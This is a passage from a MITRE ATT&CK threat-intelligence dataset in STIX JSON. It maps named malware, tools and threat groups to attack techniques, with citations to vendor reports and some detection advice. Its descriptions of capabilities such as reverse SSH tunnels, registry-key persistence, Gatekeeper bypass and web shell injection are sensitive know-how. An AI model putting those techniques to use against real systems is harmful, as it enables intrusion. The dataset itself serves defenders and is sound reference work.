2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60692cc5-ca97-4c1d-8011-8dbe111ca8f4","created":"2024-05-22T21:37:38.575Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:37:38.575Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) will attempt to masquerade its service execution using benign-looking names such as ScDeviceEnums.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--606d0114-e9a5-49a6-a6b9-0f67da987969","type":"relationship","created":"2020-11-19T18:02:58.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.402Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to start services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6071e96a-d6eb-44a2-abf5-9162d6ec5aad","created":"2023-09-30T04:00:31.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:41:43.458Z","description":"Monitor for abnormal execution of syslog and other functions associated with system logging.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--607ae633-8e47-457a-9507-511d1e28f470","created":"2022-06-24T14:17:35.842Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can download files to compromised systems after receiving a command with the string `downloaddd`.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:52:36.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60855df0-b2f5-46ed-ba9d-09bdfd7d1ac6","type":"relationship","created":"2021-10-15T20:31:12.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-15T20:31:12.322Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has collected data and other information from a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--608afda5-f2ae-4e2a-9834-bd258ef817e0","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--608c5d3c-ba27-430d-8655-0ff7830fb5c5","type":"relationship","created":"2019-05-29T14:17:51.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2019-06-07T20:33:39.592Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--608ecdef-db04-419b-b453-0aeb538c7093","type":"relationship","created":"2021-05-04T15:59:21.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:33.899Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can create persistence by adding a shortcut in the CurrentVersion\\Run Registry key.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60989b47-4725-4077-8aed-fb5f990fda22","type":"relationship","created":"2020-03-19T16:21:36.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/","source_name":"Cyber Forensicator Silence Jan 2019"}],"modified":"2020-06-23T20:30:07.122Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used JS scripts.(Citation: Cyber Forensicator Silence Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--609a0483-ac4a-49d6-bc5d-3cb0ff6e8a97","created":"2023-02-08T00:10:57.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:12:42.863Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has used XOR-based encryption for collected files before exfiltration.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--609d3d8c-1995-43ef-a102-a39d668a774d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-21T00:06:06.278Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60a46293-ec9e-4931-8315-03b4f68c2e74","type":"relationship","created":"2019-04-23T16:24:46.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.034Z","description":"[HTRAN](https://attack.mitre.org/software/S0040) can inject into into running processes.(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60a61381-266d-446c-98d2-4acebfcd3c2a","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60a6f8ce-1ee6-4770-8d83-9c2717d53fc3","created":"2021-09-14T01:44:33.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Shlayer jamf gatekeeper bypass 2021","description":"Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.","url":"https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"},{"source_name":"objectivesee osx.shlayer apple approved 2020","description":"Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.","url":"https://objective-see.com/blog/blog_0x4E.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:59:09.530Z","description":"If running with elevated privileges, [OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the spctl command to disable Gatekeeper protection for a downloaded file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. [OSX/Shlayer](https://attack.mitre.org/software/S0402) has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Shlayer jamf gatekeeper bypass 2021)(Citation: objectivesee osx.shlayer apple approved 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60b233c6-0ee4-4312-8edf-eda18ab9b879","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor newly executed processs for sdbinst.exe for potential indications of application shim abuse. \nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Black Hat 2015 App Shim","description":"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.","url":"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60b2b967-6481-4842-9904-547a7c626ea6","type":"relationship","created":"2019-06-18T18:40:33.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-03-17T13:47:02.025Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) relies on users clicking on an embedded image to execute the scripts.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60b2c702-e2f4-47fd-a009-3ba561bceeb8","type":"relationship","created":"2021-02-08T21:24:53.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:04:49.130Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) can inject web shell code into a server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60b62d1a-c6f2-4105-97fd-40194442a4c3","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60bab055-6927-4240-8716-6218dc131aa9","type":"relationship","created":"2019-01-30T19:18:20.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro MacOS April 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}],"modified":"2020-06-23T20:11:11.926Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses Word macros for execution.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60be159a-b083-48c2-bd38-4abb873d1f30","type":"relationship","created":"2021-01-28T15:58:09.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:13:30.253Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used HTTP in C2 communications.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60c1b489-f1fc-4568-aba0-54e932715abc","type":"relationship","created":"2019-01-29T18:44:05.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."},{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-11T22:07:41.518Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.(Citation: Talos Agent Tesla Oct 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60c352ec-eb4c-451a-a56e-43a9dc4ee91f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.820Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) enumerates directories and obtains file attributes on a system.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60c3e09e-f620-433f-899f-a5103a39c28c","created":"2024-08-23T19:26:47.879Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T19:26:47.879Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a stripped binary payload.(Citation: Kandji Cuckoo April 2024)\n(Citation: SentinelOne Cuckoo Stealer May 2024)\n","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60d24337-4634-4eef-9d7e-033949228869","type":"relationship","created":"2020-02-18T16:39:06.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T16:39:06.481Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60d3d7d8-408e-4663-b081-69fe66303983","type":"relationship","created":"2022-03-25T14:32:35.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.655Z","description":"[Donut](https://attack.mitre.org/software/S0695) can generate packed code modules.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60da816d-f78b-4566-9587-b572ad579e15","created":"2021-03-02T19:40:52.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: 